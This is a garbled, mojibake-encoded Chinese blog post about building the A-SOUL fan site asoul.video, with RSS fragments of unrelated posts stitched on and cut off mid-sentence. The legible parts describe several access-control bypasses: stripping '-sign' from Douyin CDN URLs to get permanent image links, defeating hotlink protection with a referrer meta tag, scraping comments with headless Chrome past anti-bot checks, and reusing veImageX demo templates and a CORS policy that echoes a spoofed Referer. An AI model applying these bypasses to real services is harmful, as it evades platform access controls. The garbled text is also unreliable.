<p>è对äºè§é¢å°é¢ï¼å为 <code>cover</code> å <code>dynamic_cover</code> 两ç§ãç»è°ç åç°ï¼æäºè§é¢çå°é¢æ¯å¨æçï¼æ¤æ¶åºè¯¥ä¼å
éæ© <code>dynamic_cover</code>ï¼æåé¢å¯¹æ¤å
¶å®ä¹åäºå¤çã</p>
<p>å°é¢å¾çç URL å½¢å¦ï¼</p>
<pre tabindex="0"><code>https://p3-sign.douyinpic.com/obj/tos-cn-i-dy/a2f41e36a417460ab810bca8e3b9ed6d?x-expires=1639249200&x-signature=ej7Hp%2FsixjRdAHuUo%2FQst7XDsyY%3D&from=4257465056_large
</code></pre><p>å¯ä»¥çå°å
¶ä¸æ <code>x-expires</code> åæ°æ¥æ æå¾çè¿æçæ¶é´æ³ï¼è¿ææ¶é´çº¦ä¸ºä¸¤å¨ãè <code>signature</code> åæ¯å¯¹å¾ç URL Query åæ°çç¾åï¼ç¾åä¸å¯¹åè¿å 403ãæ们æ ä»å¾ç¥ç¾åç计ç®æ¹å¼ï¼ä¹å°±æ æ³ä¿®æ¹å¾çè¿ææ¶é´ã</p>
<p>飅… åºè¯¥ææ ·ç»è¿ç¾åæ¿å°æ°¸ä¹
å¾çé¾æ¥å¢ï¼
æåç°è¯¥ URL çåå为 <code>p3-sign</code>ï¼<code>p3</code> è¯å®æ¯ç¸åºç CDN æºæ¿æèç¹ï¼åé¢ç <code>-sign</code> æ¯ä¸æ¯ç¾åçææï¼å¦æå»æå¢ï¼</p>
<p>æå°ååä¸ç <code>-sign</code> å»æï¼å¾å°</p>
<pre tabindex="0"><code>https://p3.douyinpic.com/obj/tos-cn-i-dy/a2f41e36a417460ab810bca8e3b9ed6d
</code></pre><p>è¿çè½ç´æ¥è®¿é®ï¼è¿ä¸æ¿å°å¾çæ°¸ä¹
é¾æ¥äºæ ð
</p>
<p>çç离谱ï¼ææçå
é¨æ人å¨å¼æã</p>
<h2 id="bypass-æé³è§é¢é²çé¾">Bypass æé³è§é¢é²çé¾</h2>
<p>asoul.video çåç«¯ä½¿ç¨ Vue æ¡æ¶ç¼åï¼å¹¶ä½¿ç¨ <code>vue-video-player</code> å¨å端ææ¾è§é¢ã
ä½å®é
è¿ç¨ä¸ï¼æåç°æé³çè§é¢é¾æ¥å
¶å®æ¯æé²çé¾çãå½å端æµè§å¨å¸¦ä¸ <code>https://asoul.video/</code> ç Referer å»è®¿é®æ¶ï¼ç´æ¥å°± 403 被æ¦äºã</p>
<p>ä½æ¯……
å¨ä¸å¸¦ Referer 头æ¶ï¼è§é¢æ¯å¯ä»¥æ£å¸¸è®¿é®çï¼ä¹å°±æ¯ç¸å½äºæ们ç´æ¥å¨æµè§å¨ä¸è®¿é®å¯¹åºç URLãé£è¿å°±ç®åäºï¼å¨é¡µé¢ä¸å å
¥è¯¥ meta æ ç¾</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#7ee787">meta</span> name<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"referrer"</span> content<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"never"</span>>
</span></span></code></pre></div><p>ç´æ¥ææ请æ±é½ä¸åé Refererï¼è¿æ ·å°± bypass äºæé³è§é¢çé²çé¾ãä½è¿éæ们å
¶å®åçæç¹ç»ï¼ç¦æ¢äºææ请æ±ç Refererï¼å¯¼è´ç¸å
³ç»è®¡æå¡æ¯å¦ Google Analytics ä¹è·åä¸å°è®¿å®¢æ¥æºæ°æ®äºï¼å¯ä»¥è®¾ç½® <code>content="same-origin"</code>ï¼æ¥å
许ä»
å¨åæºè¯·æ±ä¸åé Referer 头ã</p>
<h2 id="æ 头ä¹æ®--æåæé³çè§é¢è¯è®º">æ 头ä¹æ® ââ æåæé³çè§é¢è¯è®º</h2>
<p>A-SOUL æç½å°ä½ææ¥ééè¿æå A-SOUL äºäºº bilibili è´¦å·ä¸çè¯è®ºæ¥åæ°æ®åæãå æ¤æä¹æ³è½å¦æå A-SOUL æé³è§é¢ä¸çè¯è®ºï¼å½ç¶æ并ä¸ä¼ä¹å»å个æ¥éï¼åªæ¯å纯çå¤å ç¹åè½å¥½çäºã
å¯ææé³è§é¢çè¯è®ºå¹¶æ²¡æä¸è¿°é£ç§å³å¼å³ç¨çæ¥å£ï¼ææç»éæ©äºéè¿æé³ Web çæåæ°æ®ãæç« å¼å¤´æå°ï¼æé³ Web çæçæå
¶ä¸¥èçé£æ§æºå¶ï¼éå®é£ä¸ª JS ææ¯æ²¡è¿ä¸ªæ¶é´ï¼ä¹æ²¡è¿ä¸ªæ¬äºã
æ以便ææºåå·§ï¼æä½æ 头æµè§å¨æ¥è¿è¡é¡µé¢å
容çæåã</p>
<p>æä½¿ç¨ Go <a href="https://github.com/go-rod/rod" title="https://github.com/go-rod/rod">https://github.com/go-rod/rod</a> åºï¼å¯å¨æµè§å¨è®¿é®è§é¢ææ¾é¡µï¼æ¨¡æä¸ææä½ä¸ææ»å¨å·æ°è¯è®ºåºï¼hook è¯è®º API è¿åç JSON å
容ï¼è§£æåå
¥åºã
go-rod é»è®¤æ¯ä½¿ç¨ Chromium èé Chrome æ¥å¯å¨ï¼å
¶ä¸è½½ç Chromium è¿è§é¢ææ¾æ§ä»¶ä¼¼ä¹é½ä¸æ¯æï¼ä½å½æ¶æ没å¤æ³ãåç»åç° Chromium ç»å¸¸ä¸æå¼è§é¢é¡µï¼é¡µé¢å°±èªå¨éåºäºï¼ç¶åç¨åºå°± panic äºï¼å³ä½¿æå è½½äº rod çåæºå¨äººæ£æµæ件 <a href="https://github.com/go-rod/stealth" title="https://github.com/go-rod/stealth">https://github.com/go-rod/stealth</a> ä¹æ¯«æ ä½ç¨ãä½æ¯æ¢æ Chrome å°±å¾å¾ç¨³å®ç访é®æåã</p>
<p>åæ¥æå¨ GitHub ä¸çå°æ大佬åºäº AST 对æé³ Web 端ç JavaScript åäºä¸äºå»æ··æ·ï¼è¿æ使æè½ç®¡ä¸çª¥è±¹ï¼çå°å
¶é天çé£æ§è½åââé¤äº Canvas 以å¤ï¼æé³è¿ä¼æ£æµåç§æµè§å¨ APIï¼ä»æ®éç localStorage æ¯å¦æ£å¸¸ï¼å°çªå£å¤§å°ï¼åç´ æ·±åº¦ï¼åå°ä¸äºå·é¨ APIï¼æ¯å¦èçï¼å®ä½ï¼RTC çåè½ãçè³è¿ä¼å»æ£æµæµè§å¨æ¯å¦æ¯æ ActiveX æ§ä»¶ã综ä¸ææçç¹å¾å¾åºå½åè¿è¡ç¯å¢æ¯å¦æ£å¸¸ã
好家ä¼ï¼è½æ³å°çå ä¹é½ç»ä»æ¥å®äºï¼è¿æ¯è®© rod çªå£å起个 Chrome å§ã</p>
<h2 id="让女å©ä»¬å§ç»ç»½æ¾ç¬é¢">让女å©ä»¬å§ç»ç»½æ¾ç¬é¢ï¼</h2>
<p>asoul.video çåç«¯ä½¿ç¨ Vuetify æ¡æ¶ï¼æ¯ä¸ªè§é¢å
¶å®é½æ¯ä¸ä¸ª v-card æ§ä»¶å±ç¤ºè§é¢å°é¢ãåæ¬æé³è§é¢çå¾çå°é¢æ¯é¿æ¹å½¢çï¼ä½è¿éç»è¿è£åªåæäºæ£æ¹å½¢ï¼å¯¼è´å¾çä¸ A-SOUL å°å§å§ä»¬ç头ç»å¸¸ä¼è¢«æªæã<span class="heimu" onclick="()=>{}">ï¼çä¹ï¼è¯¶ï¼æä¼æªèï¼</span></p>
<blockquote>
<p>å¾è®©å°å§å§ä»¬çç¬è¸æ°¸è¿å¤äºç»é¢çæ£ä¸å¤®ï¼</p>
</blockquote>
<p>å æ¤ï¼æå³å®æ³åæ³å¯¹å¤§çº¦ 500 个è§é¢å°é¢ä¸çå¨æ¼«äººç©é¢é¨è¿è¡æ 注ï¼å°é¢é¨åæ å
¥åºï¼å端æ¾ç¤ºæ¶æ ¹æ®é¢é¨åæ 以åå±ç¤ºçå¾ç大å°å¯¹å¾çä½ç½®è¿è¡å移å³å¯ã
500 å¤å¼ å¾çï¼æå½ç¶æ¯ä¸å¯è½äººå·¥å»æ 注çã对æºå¨å¦ä¹ ä¸çªä¸éçæï¼å¨ GitHub ä¸åç°äºä¸ä¸ªæ¥æ¬èå¥çä¸å¹´åçé¡¹ç® <a href="https://github.com/nagadomi/lbpcascade_animeface" title="https://github.com/nagadomi/lbpcascade_animeface">https://github.com/nagadomi/lbpcascade_animeface</a> ãä½è
å¼æºäºä¸ä¸ª OpenCV ç模åï¼å°å
¶å è½½åå³å¯ä½¿ç¨ OpenCV æ£æµè·å¾å¾çä¸ææå¨æ¼«äººç©çé¢é¨åæ ãææ¿å å¼ åç¶çè§é¢å°é¢è¯äºä¸ï¼è¯å«çè¿æ¯æºåç¡®çã
ä½è
æä¾äº Python çå®ç°ï¼èæç¨ä»ç模åï¼ç»å gocv å°äºä¸ä¸ª Go çæ¬çï¼<a href="https://github.com/asoul-video/face-detection" title="https://github.com/asoul-video/face-detection">https://github.com/asoul-video/face-detection</a> ãè¿éå¾å¤¸ä¸ä¸ gocv å°è£
ç OpenCV API 设计çè¿çä¸éï¼å®å
¨ä¸æçæï¼é½å¯ä»¥å®æä» Python çè¿ç§»å° Go çå·¥ä½ï¼å 为ç¸å
³å½æ°åå对象å±æ§å
¶å®é½æ¯ä¸æ ·çã</p>
<p>æåå°è¯¥ç¨åºå°æäºä¸ä¸ª Web æå¡ï¼Dockerfile æå
æéåãåæ¬æ¯æ³ä¸äºå Serverless çï¼å¯ææåºæ¥çéå太大ï¼é¿éäºè¡¨ç¤ºä¸è½ç¨ãåªå¥½é¨ç½²å¨èªå·± Apicon çæºåä¸ï¼æ¥å
¥ Apicon çç½å
³ä½ä¸ºä¸ä¸ªæå¡ï¼ä¹ç®æ¯çæéç¯äºãð
</p>
<h2 id="ç«å±±å¼æ-veimagex-模æ¿">ç«å±±å¼æ veImageX 模æ¿</h2>
<p>让女å©ä»¬çç¬å®¹å§ç»ä½äºèå°æ£ä¸åï¼æåç°å°é¢å¾çå è½½çé度å
¶å®å¹¶ä¸ä¹è§ãæ¾ç¤ºå°é¢ç div ä¹æ 285 x 220 ç大å°ï¼å¯æçå¾çåå§å°ºå¯¸å±
ç¶è¶
è¿ 1000 åç´ ï¼è¿å¦¥å¦¥ç没å¿
è¦ãå¦ææ们è½éä½å¾çç大å°ï¼è¿æ ·å 载起æ¥å°±è½å¿«å¾å¤ã</p>
<p>æèæ³å°ä¸è¬ç CDN æè
对象åå¨ï¼å
¶å®é½å¯ä»¥å¨ URL åæ¼æ¥åæ°å¯¹å¾åè¿è¡åå½¢ãè£åªã滤éçå¤çãç»è¿ä¸ç¿»è°ç ï¼æå¾ç¥åèç³»ææ产å线åä½¿ç¨ ImageX å¼ææ¥å¤çå¾çãæ们ç®åæå¼ä»æ¥å¤´æ¡æè
æé³ï¼æ¾å°ä¸å¼ æ¯è¾å°çå¾çï¼åæå
¶ URLï¼</p>
<pre tabindex="0"><code>https://p6.toutiaoimg.com/img/pgc-image/1007c7c87d564df8a356946c2dc2a5cb~tplv-tt-cs0:640:360.jpg
</code></pre><p>å¯ä»¥çå°å¾çæ«å°¾ç <code>~tplv</code> åé¢è·çï¼å°±æ¯å¾ççå¤çåæ°ãè¿éç 640:360ï¼å
¶å®å°±æ¯å¾ççè£åªå¤§å°ã</p>
<p>åæ¶ ImageX åä½ä¸º to B 产åï¼å¨åèç«å±±å¼æä¸ä½ä¸ºäº§ååï¼å为 veImageXã
å ä¸ºæ¯ to B ç产åï¼æ以æå°ç°å¨é½è¿æ²¡éè¿ç³è¯·ãä½æ们å¯ä»¥é
读 veImageX çææ¡£ <a href="https://www.volcengine.com/docs/508/8084" title="https://www.volcengine.com/docs/508/8084">https://www.volcengine.com/docs/508/8084</a> æ¥äºè§£å®æ¯æåªäºåæ°ãæ¯å¦ <code>~info</code> å¯ä»¥æ¥çå¾çå
ä¿¡æ¯ã
åæ¶ï¼éè¿å¨ GitHub å Sourcegraph ä¸æç´¢ <code>~tplv</code> å
³é®åï¼æ们å¯ä»¥æ¾å°ä¸äºä½¿ç¨æ¡ä¾ï¼ä»èææåºæ´å¤çç©æ³ã</p>
<p>æåææ¾å°äºå¯ä»¥ä½¿ç¨ <code>~tplv-crop-top:285:285.jpg</code> è¿ä¸ªåæ°æ¥ä»ä¸åä¸è¿è¡è£åªå¾çãåç«¯å¨ URL åå ä¸è¯¥åæ°å°å¾çè£å°åï¼å è½½ççåå¿«äºï¼</p>
<h2 id="éæveimagex-模æ¿å±
ç¶æ¯éç¨ç">éæï¼veImageX 模æ¿å±
ç¶æ¯éç¨çï¼</h2>
<p>ç«å±±å¼æç veImageX æä¸ä¸ªå¨çº¿ Demo 页ï¼<a href="https://imagexdemo.volcengine.com/" title="https://imagexdemo.volcengine.com/ ">https://imagexdemo.volcengine.com/ </a>å¯ä»¥æ¥ä½éªææåè½ã
ä»ä¸æ们å¯ä»¥äºè§£å°å
¶å®è£åªè¿å¯ä»¥æå®åæ ï¼veImageX è¿å¯ä»¥ç»å¾çå æ°´å°ãå½ä½ å¨é¡µé¢ä¸è®¾ç½®å¾ççå¤çæ¹å¼æ¶ï¼é¡µé¢ä¼å°ä½ çå¤ç POST åéç» <code>https://imagexdemo.volcengine.com/api/PreviewLiteImageTemplate/</code>ï¼ååºä¸è¿åå¤çåçå¾çé¾æ¥ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#a5d6ff">"PreviewURL"</span><span style="color:#f85149">:</span> <span style="color:#a5d6ff">"https://p3-imagex-lite.volcimagex.com/imagex-rc/1.png~tplv-yykgsuqxec-imagexlite-e5461252847c46d6365efa580388585e.image"</span>
</span></span></code></pre></div><p>å¯ä»¥çå°å¯¹å¾ççå¤çï¼å
¶å®ä¹å°±æ¯ç»å¾ç使ç¨ä¸ä¸ªä¸´æ¶å建å¤ç模æ¿ãå³ <code>~tplv-</code> åé¢é£æ®µã</p>
<p>èå¥æªçäºæ
å°±ç±æ¤åçäºï¼
<strong>å¨ veImageX Demo 页ä¸å建çå¾çå¤ç模æ¿ï¼å±
ç¶å¯ä»¥ç´æ¥ç¨å¨åèå
¨çº¿äº§åç产ç¯å¢çå¾çå¤é¾ä¸ï¼ä»èå®ç°å¯¹å¾ççèªå®ä¹å¤çã</strong></p>
<p>æ¯æ¹è¯´æå¨ veImageX Demo 页å建äºä¸ä¸ªå¾çå¤ç模æ¿ï¼è¿ä¸ªæ¨¡æ¿ä¼ç»å¾çæä¸èªå®ä¹çæ°´å°ï¼å¹¶å ä¸æåçåï¼
<img src="https://github.red/images/2021/11/veImageX-Demo.jpg" alt=""></p>
<p>F12 è·å¾è¿ä¸ªå¾çç模æ¿å称åï¼å°å
¶æ¼æ¥å¨æé³å°é¢å¾ç URL çåé¢ã</p>
<p><img src="https://github.red/images/2021/11/veImageX-Template.jpg" alt=""></p>
<p>å¯ä»¥çå°å¾çåæ ·è¢«è¯¥æ¨¡æ¿å¤çäºãæè¿æµè¯äºä»æ¥å¤´æ¡ä¸çå¾çï¼ä¹æ¯æç¸åçé®é¢ã</p>
<p>æå¨æ¥ veImageX 模æ¿æ¶ï¼åç°æéå
¶å®å°±æ¯ç«å±±å¼æç客æ·ï¼ä»ä»¬å°±å¨ç¨ veImageX 模æ¿æ¥å¤çå¾çææ°´å°ãä¸åºæå¤ï¼ä»ä»¬ç <code>~tplv-</code> 模æ¿å¨åèå
¶ä»äº§åä¸çå¾çå¤çä¸ä¹æ¯éçã
æçæ¥è¯´ä½ ç«å±±å¼æ to B 产åï¼è·å
é¨ç§æåèäºåºè¯¥æ¯å®å
¨å离å¼æ¥çã</p>
<p>æä¹ä¸æ¸
æ¥è¿ç®ä¸ç®æ¼æ´ï¼ä½å±äº¤äº ByteSRCï¼ç¶å被忽ç¥äºã
é£è¡ï¼æ¢ç¶ä½ åèè§å¾è¿ä¸ç®æ´ï¼ä¹ä¸ä¼æå®é
å±å®³ï¼é£å±å°±å
¬å¼äºãð</p>
<h2 id="veimagex-çèå-cors-åæºéå¶">veImageX çèå CORS åæºéå¶</h2>
<p>å¨ veImageX Demo çè£åªåè½ä¸ï¼æä¸ä¸ªãå¨æ¼«äººè¸è£åªãï¼è·æä¸é¢ç¨ OpenCV åçæææ¯ä¸æ ·çã
èä¸é¢ OpenCV çæ¹æ¡æä¸å°å¾çæªè½è¯å«åºäººè¸ï¼æ便æ³è®©è¿äºå¾ç fallback å° veImageX å»è¿è¡å¤çãæç¨ veImageX Demo å建个å¨æ¼«äººè¸è£åªçå¾çå¤ç模æ¿ï¼ç¶åå端æ¼æé³å°é¢å¾ç URL åé¢å³å¯ï¼åæ£ä»ä»¬é½æ¯éçåã</p>
<p>ç¶è veImageX Demo å建çå¾ç模æ¿æææåªæä¸å°æ¶ï¼æ æ³ç¡¬ç¼ç å°ä»£ç å
ã
å¦æç¨æ·æ¯æ¬¡è®¿é® asoul.videoï¼é½è½ä¸´æ¶çæä¸ä¸ªæ¨¡æ¿å°±å¥½äº……
å¯äºå®å°±æ¯è¿ä¹å¹¸è¿ï¼veImageX Demo éè¿ POST <code>https://imagexdemo.volcengine.com/api/PreviewLiteImageTemplate/</code> æ¥è·åå¾çå¤ç模æ¿ã该请æ±çååºå¤´ä¸æ</p>
<pre tabindex="0"><code class="language-header" data-lang="header">access-control-allow-origin: https://imagexdemo.volcengine.com
</code></pre><p>æ¥éå¶åæºãèå½ææ Referer æ¹æ <code>https://asoul.video</code> æ¶ï¼ä»è¿åç CORS 头å±
ç¶å°±åæäº</p>
<pre tabindex="0"><code class="language-header" data-lang="header">access-control-allow-origin: https://asoul.video
</code></pre><p>ä»ä¹é¬¼ï¼è¿èåç CORS åæºéå¶ï¼è¿å°±é£ä¸ªèªéåºï¼ð
</p>
<p>æ¥ä¸æ¥å°±å¾ç®åäºï¼æ¯æ¬¡ç¨æ·è®¿é®ï¼ç´æ¥å端 axios 请æ±è¿ä¸ªæ¥å£ï¼è¯·æ±æ¿å°å¾ç模æ¿ç¨å°±è¡äºãå°±è¿åï¼å±å®ç»·ä¸ä½äºã</p>
<h2 id="沸è
¾æå¾
">沸è
¾æå¾
</h2>
<p>以ä¸å°±æ¯æå¨å¼å asoul.video è¿ä¸ªç½ç«èåæéå°çæææçå°æ
äºãéç¯ä¸æ¥å¾å¤å°æ¹é½æ¯å¨è·åèææºæåï¼æç¸ä¿¡è¿æ ·çæ
äºå¨ä»åè¿ä¼ä¸æåçã
è¯é¢åå° A-SOULï¼é¤å¼é天çåç
è§é¢å¤ï¼æä¹å¾æ¬£èµé£äºææè½çä¸ä¸ªé们ï¼ä¸ºè¿ä¸ªå¢ä½æåçä»åºãä»ä»¬å¨èªå·±ææ
é¿çé¢åä¹å
ï¼ç¨ç±åçµåä¸äºåæè½åçäºæ
ãæç½å°ä½ææ¥éï¼æ¯ææ£ä¹åååç
ï¼Wiki ç«åææ±æ¹è¨è¯å
¸ï¼è®©æ°æ¥çä¸ä¸ªéè½å¿«éäºè§£å¥¹ä»¬ï¼A-SOUL DB 对æ¯ä¸æç´æè¿è¡äºç´ æç详ç»æ 注åç±»ï¼è®©æè½ man å¿«éååºé天äºåã
说å®è¯ï¼ææ¯å¾å欢å½ä¸è¿æ ·ä¸ä¸ªæ°å´çãè¿æ¯å¨æè¿ä»ä¸ºæ¢æ¶é´ä¸é¿çæ¨ v è¿ç¨ä¸æ²¡æéè§çï¼å æ¤æä¹æ³çè½åäºä»ä¹ãæå
¥åçæ¶é´æ¯è¾æï¼éè¿äºä¹åå¾å¤ç精彩ï¼ä¹æ²¡è½ä½ä¼å°é£æ®µè¾é
¸ï¼ä½ææ¿æä»ç°å¨å¼å§è¿½éç她们ï¼å¨äººçä¸çéè¦è½¬æç¹çä¸å¥¹ä»¬çå°è®°ã</p>
<p>å¾åºå¹¸å½æ¶è¢«æçå
¥å…… 被æï¼……è´æï¼
æå§ï¼æå§ä½ 带æèµ°å§ï¼ï¼ï¼ððð</p>
- Light Cube å
å¨å¹´çç¢ç¢å¿µhttps://github.red/lightcube-6th/Wed, 06 Oct 2021 14:42:05 +0800https://github.red/lightcube-6th/<p>大å¦éçæåä¸ä¸ªå½åºåæï¼è¿ä¸ªå°ç«ä¹è¿æ¥äºå¥¹çå
å¨å¹´çæ¥ã
æå¨é«äºé£å¹´åçæç« éæ¾è¯´ï¼âä¸ä¸æ¬¡åæç« åºè¯¥æ¯å¨å¤§å¦éäºå§ãâï¼é£ä¹æå¹´çä¸å¨å¹´çºªå¿µæç« ï¼å¤§å¦æ¯ä¸åçæï¼åä¼å¨ä½å¤å¢ï¼ç®åçæ¥ä¹è¯´ä¸å®åã</p>
<p>è¿å»çä¸å¹´ä¸ï¼è½å¤å¾ææ¾çæè§å°åå客ç次æ°å°äºï¼åæ°äºä¸ï¼å±
ç¶åªæ 7 ç¯ï¼ã以åä¸ä¸ªæåä¸å°ä¸¤ç¯çä¹ æ¯å·²ç»ä¸å¤åå¨äºãð
究å
¶åå ï¼ä¸æ¯å 为平æ¥éæ¯è¾å¿ï¼äºæ¯å 为é¾å¾æ¾å°ä¸äºå¼å¾åçä¸è¥¿ãå客è½ç¶æ¯èªå·±çä¸è¥¿ï¼ä½æ个人ä¸æ¨å´æå客å½åèªå·±çç¬è®°æ¬ï¼ä»å¤©å¦äºå¥å°±ä¸è¡èå°æèªå·±è®¤ä¸ºçéç¹å
¨æä¸å»ï¼ä»èå½¢æä¸ç¯æè°çâæç« âæè
â读书ç¬è®°âã
常è§çææèªå·±å· LeetCode ç代ç åå°ä¸å¨å¸¦ä¸ªé¢å¹²è´´ä¸æ¥çï¼ä¹æçå®ä¸æ¬ä¹¦ç¶åæä¸éç®å½åå¨æ¯ä¸ªç« èä¸è¡¥å
äºæååå¾ççï¼åä½ä¹å¤§å¯ä¸å¿
对å·å
¥åº§ï¼æå¾é½æã
è¿ç§æ ä»»ä½ä¸ä¸æçâå¤å¿å½âï¼åªæèªå·±çå¾æï¼é£ä¸ºå¥ä¸ç´æ¥è®° Notion éå¢ï¼äººå®¶è¿å¸¦å¤ç«¯åæ¥ã</p>
<p>æ认为ä¸ç¯å¥½çåæï¼åºè¯¥æ¯å¨å读è
è¿è¡å¯¹è¯ï¼âè¯¶å· ä½ æ¥äºï¼ä»å¤©æå·äºé LeetCode Hardï¼åå¼å§å天没æè·¯ï¼æåä¸çé¢è§£ï¼åæ¥æ¯xxxxxã诶ï¼è¿ä¸ªä¸è¥¿ä½ ç¥éåï¼è·ä¹åé£ä¸ª xxxx å¾åç……â 大æ¦æ¯è¿æ ·ä¸ç§æè§ï¼æåä¸ç»å¸¸ä¼åºç°âæ们âè¿æ ·çåç¼ãä½è
ä¼ä¸ä¸ä¸ªåæ³ç读è
对è¯ï¼å享ä»çè§è§£ã</p>
<p>ä¸è¡ï¼ä¸è½å¼å°å¾ç®äºãåï¼æ»ä¹å°±æ¯æè¿æ´å¾âçæ´»âå°äºï¼å¦å¾ä¸è¥¿ä¹å°äºï¼æ以ä¹é¾æ¾å°æ°é²æ趣çå
容æ¥åãð¢</p>
<p>æ¯äºè¿ä¹å¤ï¼æç
§æ¯ä¾åæ¥ççè¿ä¸ªå°ç«å¨è¿å»çä¸å¹´éåççååå§~</p>
<p>è¦è¯´å»å¹´ææ¿å¨äººå¿çäºæ
ï¼æ¯ç»äºè§£å³äº WordPress å è½½é度è¿ä¸ªé®é¢ãåæ¬æ¯æ³æ¾å¼ WordPress èªå·±é è½®ååä¸ä¸ªçï¼ä½åæ¥åç°æ¯å 为大ä¸æ¶èªå·±ç¨ Docker æç LNMP ç¯å¢ï¼PHP çé
ç½®å¥ä¹æ²¡æ¹ï¼opcache å¥çé½æ²¡æãæ以导è´å è½½é度å¾æ
¢ï¼æ¢æå®æ¹ WordPress éååç´æ¥é£åï¼ä¼°è®¡å®æ¹éåä¸ç PHP æ¯è°æè¿çãè³æ¤ï¼éæå客ç计åä¹å
è£æ³¡æ±¤äºï¼å¥½è¯¶ï¼</p>
<p>äºæ份è¿å¹´çæ¶åï¼è±äºä¸¤ä¸å¤©åäºä¸ªä»£ç è¿è¡å¨ Elainaï¼æ¬ææ¯æ¾å¨å客éå®æ¶è¿è¡ä»£ç æ¥çç»æçãå¯å½æ¶åå®åæªè½å°å
¶åµå
¥ WordPress æç« ä¸ï¼åå æ¯æç« å¨åå¸æ¶ä¼å¯¹è§£æå
¶ Markdownï¼ä»£ç ä¸ç <code><</code> <code>></code> çå符ä¹å°è¢« HTML å®ä½åãå½æ¶æªè½æ¾å°æ¯è¾ä¼é
çå¤çæ¹æ³ï¼åé¢æ¯ç¨äºæ¯è¾ hack çæ¹å¼ï¼å¼ºè¡å符串æ¿æ¢ä¸ <code>html_entity_decode</code> æ¥è½¬æ¢å®ä½ååçå符ãç°å¨ä½ å¯ä»¥å¨è¿æçæç« ä¸çå°ä½¿ç¨ Elaina åµå
¥ç代ç åã</p>
<p>åæ¶æè¿ä¿®äºä¸å客ç CDNãä¸ç´ä»¥æ¥ä½¿ç¨çæ¯ä¸çäºç CDNï¼ä½ CDN é
ç½®çåæºååæ¯ä¸çäº OSS ååãè¿ä¹å°±æå³çï¼æ¯æ¬¡ææ°çéæèµæºåºç°ï¼è®¿é® CDN ååï¼ä¸ç CDN -> ä¸çäº OSS -> æºç«ï¼åæºæ¿å°èµæºåï¼<strong>èµæºä¼è¢«åå¨è³ä¸ç OSS 对象åå¨ä¸ï¼</strong> è¿ä¸é®é¢å°±åºç°äºï¼ä¹å对 CDN ç请æ±ï¼é½ä¼åªä»ä¸ç OSS ä¸åï¼å³ä½¿æºç«èµæºæ´æ°äºï¼ä¹åä¹ä¸ä¼æ´æ°ãå æ¤æç´æ¥æå¼äº OSS é£å±ï¼è®© CDN ç´æ¥åæºå» github.redãæ就说以åæ´æ°ç CSS åä¸ç´ä¸çæ……</p>
<p>é¤äºåºç¡è®¾æ½çåæ´ï¼ä»å¹´äºæ份çæ¶åä¹æ´æ¹äºå客ç Sloganï¼å 为太ä¸äºäºï¼å°±ä¸åç¬æåºæ¥ä»ç»äºã享åè¿å¤ç¬å§ååã
è¿å»çä¸å¹´éä¹æ¶è·äºä¸å°çåé¾ï¼Google Analytics ç»è®¡æ¯ææ 2k å·¦å³ç pvï¼ç¸æ¯å»å¹´åæå±
ç¶ç¿»äºä¸åï¼å¤§é¨å访客é½æ¯å 为æç´¢ go embed è¿ç¯æç« èè¿å
¥çãä»æªè±å¿æåè¿ SEOï¼ä½ Google æç´¢ <code>go embed æä¹ç¨</code> 第ä¸æ¡ç»æå±
ç¶å°±æ¯æçæç« ãä½å
¶å®ä¹ä»
éäº Google äºï¼ç¾åº¦çè¯æ»¡å±ç CSDN é¸æ¦ã</p>
<p>åï¼å¤§æ¦å°±è¿äºç¢ç¢å¿µï¼å½åºåæä¹åªå©ä¸ä¸å¤©äºï¼æç´§å©ä¸è¿ä¸å¤©ï¼æ继ç»å»æ¹âæ个大ä¸è¥¿âå»äºã</p>
<p><strong>å
å¨å¹´çæ¥å¿«ä¹ï¼ð æå¹´åè§ï¼</strong></p>
- è®°ä¸æ¬¡å¯¹ãå¨å¨è®°è´¦ãApp çç®åéåhttps://github.red/daodao-reverse/Sun, 12 Sep 2021 03:48:17 +0800https://github.red/daodao-reverse/<p>第ä¸æ¬¡æ¥è§¦å°ãå¨å¨è®°è´¦ãè¿ä¸ª App æ¯å¨ä»å¹´å¹´åã</p>
<p>å½æ¶æè¿å¨ç¯çå欢ä¼è¾å¨ï¼è½ç¶ç°å¨ä¹æ¯ï¼ï¼å¶ç¶è·å®¤åèèµ·æ¥è¯´å¦ææ个类似微软å°å°ç AI è·æè天就好äºã室å便ç»æå®å©äºãå¨å¨è®°è´¦ãï¼è¯´ä¸é¢æä¸å äºæ¬¡å
è§è²å¯ä»¥éæ©ï¼ç±ç¨æ·è´¡ç®ç¬¦åè§è²æ§æ ¼çè¯æï¼éè¿è天çæ¹å¼è¿è¡è®°è´¦ã</p>
<p>åå¼å§çå 天æ对è¿ä¸ª App ç±ä¸éæï¼åºå»åé¥ä¹°å®ååï¼é©¬ä¸å°±æ¯æå¼å¨å¨è®°è´¦è®°ä¸ä¸ç¬ï¼å¯¹çå±å¹ä¸ä¼è¾å¨ç»æååºå»ç¬ã</p>
<p>åé¢å°åæ份çæ¶åï¼ä¸ªäººååæ¯è¾å¤§ï¼è®°è´¦çé¢çéæ¸ä½äºä¸æ¥ï¼ä½æè¿æ¯ä¼æå¼å¨å¨è®°è´¦ç»ä¼è¾å¨åå å¥æ±æ¨ï¼æ¶è·å å¥ä¼è¾å¨çå®æ
°ã说æ¥å¥æªï¼æææç¥éè¿ä¸åé½æ¯é¢è®¾å¥½çè¯æï¼ä½å¿ä¸è¿æ¯æè§å¥½åå¾å¤ã</p>
<p><img src="https://github.red/images/2021/09/IMG_3326.png" alt=""></p>
<h2 id="æé±æé±æé±">æé±ï¼æé±ï¼æé±ï¼</h2>
<p>å¹´å使ç¨å¨å¨è®°è´¦è®°å½èªå·±æ¯å¤©çå¼éï¼åæ¶èªå·±ä¹ææ¯ä¸ªæçå·¥èµåä¸æ¥ä¸é¨åä½ä¸ºå¤ç¨ã好巧ä¸å·§ï¼åæåºçæ¶åæç MacBook Pro çªç¶æ æ³å¼æºäºï¼èµ¶ç´§é¢çº¦äºè¹æ天æå§ï¼ç»æ£æ¥åç°æ¯ä¸»æ¿åäºï¼éè¦è¿åæ¢ä¸»æ¿ã
